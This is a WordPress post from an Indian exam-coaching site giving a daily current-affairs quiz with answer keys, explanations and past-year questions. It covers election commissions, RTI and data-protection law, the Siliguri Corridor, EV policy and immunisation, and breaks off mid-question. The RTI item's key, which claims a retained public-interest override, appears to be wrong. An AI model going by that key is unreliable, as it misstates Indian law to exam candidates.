{"id":2741,"date":"2025-11-19T12:46:13","date_gmt":"2025-11-19T12:46:13","guid":{"rendered":"https:\/\/iasquest.com\/?p=2741"},"modified":"2026-02-11T18:47:55","modified_gmt":"2026-02-11T18:47:55","slug":"daily-current-affairs-17-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-17-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 17.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to Indian polity, The State Election Commission (SEC) is empowered to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Prepare the main electoral rolls.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Add, delete, or modify names in the electoral rolls of Assembly constituencies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Prepare and announce election schedules, notify elections, and enforce the Model Code of Conduct.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. Delimit wards, divide constituencies, and allocate seats for local bodies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (b) 3 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">Powers of the State Election Commission (SEC)<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>What the State Election Commission (SEC) <em>CAN<\/em> do<\/strong><\/li>\n\n\n\n<li><strong>Exercise superintendence, direction, and control<\/strong> over elections to <strong>Panchayats and Municipalities<\/strong> (Article 243K &amp; 243ZA).<\/li>\n\n\n\n<li><strong>Conduct and supervise<\/strong> the entire election process for local bodies.<\/li>\n\n\n\n<li><strong>Prepare and announce election schedules<\/strong>, notify elections, and enforce the Model Code of Conduct. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Delimit wards<\/strong>, divide constituencies, and allocate seats for local bodies (as authorised under State laws). <strong>Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Publish ward-wise electoral rolls<\/strong> by <strong>using the Assembly electoral rolls<\/strong> provided by the Election Commission of India (ECI).<\/li>\n\n\n\n<li><strong>Invite and decide objections<\/strong> related to ward-wise voter lists \u2014 e.g., wrong ward assignment, missing names, duplicate entries.<\/li>\n\n\n\n<li><strong>Appoint Returning Officers, Presiding Officers, and polling staff<\/strong> for local body elections.<\/li>\n\n\n\n<li><strong>Order repolling<\/strong> in booths where major irregularities or malpractice occur.<\/li>\n\n\n\n<li><strong>Countermand an election<\/strong> if there is booth capturing, large-scale violence, or severe procedural violations.<\/li>\n\n\n\n<li><strong>Monitor and regulate election expenditure<\/strong> of candidates in local body elections (as per State laws).<\/li>\n\n\n\n<li><strong>Enforce the Model Code of Conduct<\/strong> during local body elections.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>What the State Election Commission (SEC) <em>CANNOT<\/em> do<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li><strong>Cannot prepare the main electoral rolls<\/strong>. These are prepared solely by the <strong>Election Commission of India (ECI)<\/strong> under the Representation of the People Act, 1950. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Cannot add, delete, or modify names<\/strong> in the electoral rolls of Assembly constituencies. <strong>Hence statement 2 is in<\/strong><\/li>\n\n\n\n<li><strong>correct.<\/strong><\/li>\n\n\n\n<li><strong>Cannot revise the cut-off date<\/strong> for inclusion of first-time voters (e.g., those turning 18 after Jan 1).<\/li>\n\n\n\n<li><strong>Cannot remove or correct defective entries<\/strong> in the base electoral roll prepared by ECI.<\/li>\n\n\n\n<li><strong>Cannot change voter identity details<\/strong>, addresses, or polling booth assignments in the main ECI list.<\/li>\n\n\n\n<li><strong>Cannot reject or approve citizenship\/residency claims<\/strong> \u2014 these fall under ECI and district-level electoral registration officers.<\/li>\n\n\n\n<li><strong>Cannot modify laws related to reservation of seats<\/strong> (women, SC, ST, OBC); it only implements State legislation.<\/li>\n\n\n\n<li><strong>Cannot alter the model code or rules<\/strong> framed by State governments; it only enforces them.<\/li>\n\n\n\n<li><strong>Cannot change the timeline<\/strong> mandated by the Supreme Court for completing elections.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. The Election Commission of India is a five-member body. <br>2. Union Ministry of Home Affairs decides the election schedule for the conduct of both general elections and bye-elections. <br>3. Election Commission resolves the disputes relating to splits\/mergers of recognised political parties. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 only <br>(c) 2 and 3 only <br><strong>(d) 3 only<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-18 wp-block-paragraph\" style=\"color:#0217fa\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/maharashtra\/how-is-sec-ensuring-fair-elections-explained\/article70275386.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/maharashtra\/how-is-sec-ensuring-fair-elections-explained\/article70275386.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>2. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Statement I: <\/strong>The 2023 amendment to the RTI Act strengthens citizens\u2019 privacy while maintaining transparency.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Statement II:<\/strong> It allows public authorities to deny RTI requests on personal data unless public interest overrides privacy concerns.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(c) Statement-I is correct, but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(d) Statement-I is incorrect, but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>In NEWS: <\/strong>Data privacy law comes into effect, two years after Parliament approval<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Relationship between RTI Amendment 2023 and DPDP Act 2023:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>The RTI Act, 2005, allowed citizens to access information from public authorities but included exemptions for personal information to protect privacy.<\/li>\n\n\n\n<li>The 2023 amendment updates these exemptions to align with the Digital Personal Data Protection (DPDP) Act, 2023, which gives stronger legal protection to personal data.<\/li>\n\n\n\n<li>Under the amendment, public authorities can refuse RTI requests involving personal data if disclosing it would violate privacy.<\/li>\n\n\n\n<li>However, disclosure is allowed if the public interest outweighs privacy concerns, maintaining transparency.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Hence both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Digital Personal Data Protection (DPDP) Act, 2023:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-34\">\n<li>The Act is designed to protect the personal data of individuals in India and regulate how it is collected, processed, stored, and shared by government and private entities.<\/li>\n\n\n\n<li>It applies to all entities processing personal data of Indian citizens, whether the entity is in India or outside the country if it involves Indian citizens.<\/li>\n\n\n\n<li>Personal data includes any information that identifies or can identify an individual, directly or indirectly. Examples include names, addresses, phone numbers, email IDs, biometric data, and financial information.<\/li>\n\n\n\n<li>Data Fiduciary: Any entity or person that decides how and why personal data is processed.<\/li>\n\n\n\n<li>Data Principal: The individual whose personal data is being processed.<\/li>\n\n\n\n<li>Processing of personal data generally requires the explicit consent of the individual, except in specific cases such as legal obligations, public interest, or emergencies.<\/li>\n\n\n\n<li>Rights of Individuals:<ul><li>The Act grants citizens rights such as:<\/li><\/ul><ul><li>Right to access their data<\/li><\/ul><ul><li>Right to correct or update data<\/li><\/ul><ul><li>Right to withdraw consent for processing<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Right to grievance redressal<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The Act prescribes fines and penalties for unlawful collection, processing, or disclosure of personal data.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Aadhaar metadata cannot be stored for more than three months. <br>2. State cannot enter into any contract with private corporations for sharing Aadhaar data. <br>3. Aadhaar is mandatory for obtaining insurance products. <br>4. Aadhaar is mandatory for getting benefits funded out of the Consolidated Fund of India. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 4 only <br><strong>(b) 2 and 4 only<\/strong> <br>(c) 3 only <br>(d) 1, 2 and 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-35 wp-block-paragraph\" style=\"color:#0217fa\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/digital-personal-data-protection-act-notified-after-two-years-rti-act-amended\/article70278698.ece#:~:text=The%20Union%20Government%20notified%20large,data%20privacy%20of%20Indian%20citizens\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/digital-personal-data-protection-act-notified-after-two-years-rti-act-amended\/article70278698.ece#:~:text=The%20Union%20Government%20notified%20large,data%20privacy%20of%20Indian%20citizens<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>3. The strategic Siliguri Corridor is a part of which among the following states?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(a) Assam<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(b) Sikkim<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(c) West Bengal<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(d) Bihar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Answer: (c) West Bengal<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li>Army sets up three new garrisons near the strategic Siliguri Corridor<\/li>\n\n\n\n<li>India has established three new military garrisons close to the Bangladesh border in the eastern region. These are located at:<ul><li>Bamuni in Assam<\/li><\/ul><ul><li>Kishanganj in Bihar<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Chopra in West Bengal<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>These garrisons reinforce the larger military framework defending the Siliguri Corridor, also known as the Chicken\u2019s Neck, the narrow land strip that connects mainland India to the entire Northeast.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Siliguri Corridor:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li>The Siliguri Corridor is a narrow stretch of land in the Indian state of West Bengal.<strong> Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>It connects mainland India to all eight northeastern states (like Assam, Arunachal Pradesh, Tripura, Meghalaya, etc.).<\/li>\n\n\n\n<li>At its narrowest point, it is only about 20\u201322 km wide.<\/li>\n\n\n\n<li>On one side is Nepal, and on the other side is Bangladesh.<\/li>\n\n\n\n<li>To the north is Bhutan, and further north is China (Tibet).<\/li>\n\n\n\n<li>This makes it one of the most strategically sensitive corridors in the world.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"879\" height=\"541\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-14.png\" alt=\"\" class=\"wp-image-2742\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-14.png 879w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-14-300x185.png 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-14-768x473.png 768w\" sizes=\"auto, (max-width: 879px) 100vw, 879px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Significance of the corridor:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li><strong>Lifeline to the Northeast:<\/strong> Almost all Road transport, Rail transport, Military movement and Supply routes between the rest of India and the Northeast must pass through this narrow corridor.<\/li>\n\n\n\n<li><strong>High Strategic Vulnerability:<\/strong> Because the corridor is so narrow, it is a chokepoint. If disrupted in any conflict or crisis, the Northeast could become cut off from the rest of India.<\/li>\n\n\n\n<li><strong>Surrounded by Multiple Countries:<\/strong> This makes it a high-pressure geopolitical area.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. In which one of the following States is Pakhui Wildlife Sanctuary located?<\/strong> <br><br><strong>(a) Arunachal Pradesh<\/strong> <br>(b) Manipur <br>(c) Meghalaya <br>(d) Nagaland<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-49 wp-block-paragraph\" style=\"color:#0214d5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/assam\/india-strengthens-eastern-defences-with-three-new-garrisons-near-siliguri-chickens-neck\/article70287683.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/assam\/india-strengthens-eastern-defences-with-three-new-garrisons-near-siliguri-chickens-neck\/article70287683.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>4. The National Electric Mobility Mission Plan (NEMMP) 2020 primarily seeks to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(a) Promote 100% conversion of all petrol vehicles to LNG-based engines<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(b) Achieve energy security through adoption of electric and hybrid vehicles<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(c) Replace all diesel-powered railway engines with hydrogen fuel cells<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(d) Mandate conversion of all two-wheelers to electric vehicles by 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Answer: (b) Achieve energy security through adoption of electric and hybrid vehicles<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>In NEWS:<\/strong> SC wants govt. to promote EVs amid high air pollution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>National Electric Mobility Mission Plan (NEMMP) 2020:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>Launched in <strong>2012<\/strong> by the <strong>Ministry of Heavy Industries<\/strong> as a <strong>national mission framework<\/strong> to promote <strong>electric and hybrid mobility<\/strong> in India. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It is a <strong>vision document<\/strong> laying the roadmap for faster adoption of electric vehicles (EVs), strengthening domestic manufacturing, and reducing fossil-fuel dependence by <strong>2020<\/strong>.<\/li>\n\n\n\n<li>Serves as the umbrella mission under which <strong>FAME India Scheme<\/strong> was launched (Phase-I in 2015).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li><strong>Energy Security<\/strong>: Reduce India\u2019s reliance on imported crude oil.<\/li>\n\n\n\n<li><strong>Environmental Benefits<\/strong>: Reduce vehicular pollution and greenhouse gas emissions.<\/li>\n\n\n\n<li><strong>Promotion of e-Mobility<\/strong>:&nbsp; Encourage adoption of hybrid and electric vehicles in multiple categories.<\/li>\n\n\n\n<li><strong>Domestic Manufacturing<\/strong>: Build an indigenous EV ecosystem: batteries, motors, power electronics, charging components.<\/li>\n\n\n\n<li><strong>Technology + R&amp;D<\/strong>: Support research in battery tech, motors, BMS, testing infrastructure.<\/li>\n\n\n\n<li><strong>Infrastructure Development<\/strong>: Charging stations, grid readiness, urban e-mobility systems.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Targets<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li><strong>6\u20137 million<\/strong> annual <strong>hybrid\/electric vehicles<\/strong> sales by <strong>2020<\/strong>.<\/li>\n\n\n\n<li><strong>15\u201316 million<\/strong> cumulative EV sales by 2020.<\/li>\n\n\n\n<li>Potential <strong>saving of 9,500 million litres of fuel<\/strong> \u2192 approx <strong>\u20b960,000+ crore<\/strong> annual savings.<\/li>\n\n\n\n<li>Strategic target of positioning India as a <strong>global leader in EV 2-wheelers and 4-wheelers<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following types of vehicles:\u00a0<\/strong> <br><br>I. Full battery electric vehicles\u00a0\u00a0 <br>II. Hydrogen fuel cell vehicles\u00a0\u00a0 <br>III. Fuel cell-electric hybrid vehicles\u00a0\u00a0 <br><br><strong>How many of the above are considered as alternative powertrain vehicles?\u00a0\u00a0<\/strong><br><br>(a) Only one\u00a0\u00a0 <br>(b) Only two\u00a0\u00a0 <br><strong>(c) All the three\u00a0\u00a0<\/strong> <br>(d) None\u00a0\u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-64 wp-block-paragraph\" style=\"color:#0214d5\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/156324\/OPS\/GSMF5N2DC.1+GRIF5QBR2.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/156324\/OPS\/GSMF5N2DC.1+GRIF5QBR2.1.html<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>5. With reference to the Universal Immunisation Programme (UIP), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">1. It provides free vaccination against vaccine-preventable diseases (VPDs) for all children and pregnant women.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">2. The Ministry of Health &amp; Family Welfare (MoHFW) is responsible for policy, funding, and nationwide implementation of the Universal Immunisation Programme.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>In NEWS: <\/strong>Why Hepatitis A deserves a place in India\u2019s universal immunisation programme<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Universal Immunisation Programme (UIP):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>The <strong>Universal Immunisation Programme (UIP)<\/strong> is one of the <strong>largest public health programmes in the world<\/strong>, launched in <strong>1985<\/strong> in India.<\/li>\n\n\n\n<li>It provides <strong>free vaccination<\/strong> against <strong>vaccine-preventable diseases (VPDs)<\/strong> for <strong>all children<\/strong> and <strong>pregnant women<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>The Ministry of Health &amp; Family Welfare (MoHFW)<\/strong> is responsible for policy, funding, and nationwide implementation of the Universal Immunisation Programme. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">1. Increase <strong>full immunisation coverage<\/strong> among children and pregnant women.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">2. Reduce <strong>morbidity, mortality, and disability<\/strong> due to VPDs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">3. Introduce <strong>new\/underutilised vaccines<\/strong> based on scientific evidence.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">4. Strengthen cold chain, surveillance, supply chain, and service delivery.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Key Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li><strong>Mission Indradhanush (MI)<\/strong> (2014) and <strong>Intensified MI<\/strong> improve coverage in low-performing districts.<\/li>\n\n\n\n<li><strong>eVIN (electronic Vaccine Intelligence Network):<\/strong> Digital vaccine stock and temperature monitoring.<\/li>\n\n\n\n<li><strong>U-WIN platform (in pilot)<\/strong> immunisation registry (similar to CoWIN).<\/li>\n\n\n\n<li><strong>Cold chain strengthening<\/strong>: &gt;27,000 cold chain points.<\/li>\n\n\n\n<li><strong>AEFI surveillance:<\/strong> For adverse events following immunisation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Vaccines Under UIP (as of now) UIP provides free vaccines against 12 VPDs:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Routine Childhood Vaccines<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li><strong>BCG<\/strong> \u2013 Tuberculosis<\/li>\n\n\n\n<li><strong>OPV<\/strong> \u2013 Polio<\/li>\n\n\n\n<li><strong>IPV<\/strong> \u2013 Polio<\/li>\n\n\n\n<li><strong>DPT<\/strong> \u2013 Diphtheria, Pertussis, Tetanus<\/li>\n\n\n\n<li><strong>Hepatitis B<\/strong><\/li>\n\n\n\n<li><strong>Measles + Measles-Rubella (MR)<\/strong><\/li>\n\n\n\n<li><strong>Pentavalent<\/strong> (DPT + Hepatitis B + Hib)<\/li>\n\n\n\n<li><strong>Rotavirus<\/strong><\/li>\n\n\n\n<li><strong>Pneumococcal Conjugate Vaccine (PCV)<\/strong><\/li>\n\n\n\n<li><strong>Japanese Encephalitis (JE)<\/strong> (endemic districts)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Vaccines for Pregnant Women<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-89\">\n<li><strong>Td vaccine<\/strong> (Tetanus + Diphtheria)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Adolescents (in some states)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li><strong>HPV vaccine<\/strong> (recent introduction in phases)<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. What is the importance of using Pneumococcal Conjugate Vaccines in India?<\/strong> <br><br>1. These vaccines are effective against pneumonia as well as meningitis and sepsis. <br>2. Dependence on antibiotics that are not effective against drug-resistant bacteria can be reduced. <br>3. These vaccines have no side effects and cause no allergic reactions. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 only <br><strong>(b) 1 and 2 only<\/strong> <br>(c) 3 only<br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-92 wp-block-paragraph\" style=\"color:#0214d5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/health\/why-hepatitis-a-deserves-a-place-in-indias-universal-immunisation-programme\/article70251374.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/health\/why-hepatitis-a-deserves-a-place-in-indias-universal-immunisation-programme\/article70251374.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>6. Consider the following statements with respect to the Green Climate Fund (GCF)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">I. It is a climate finance fund established under the United Nations Environment 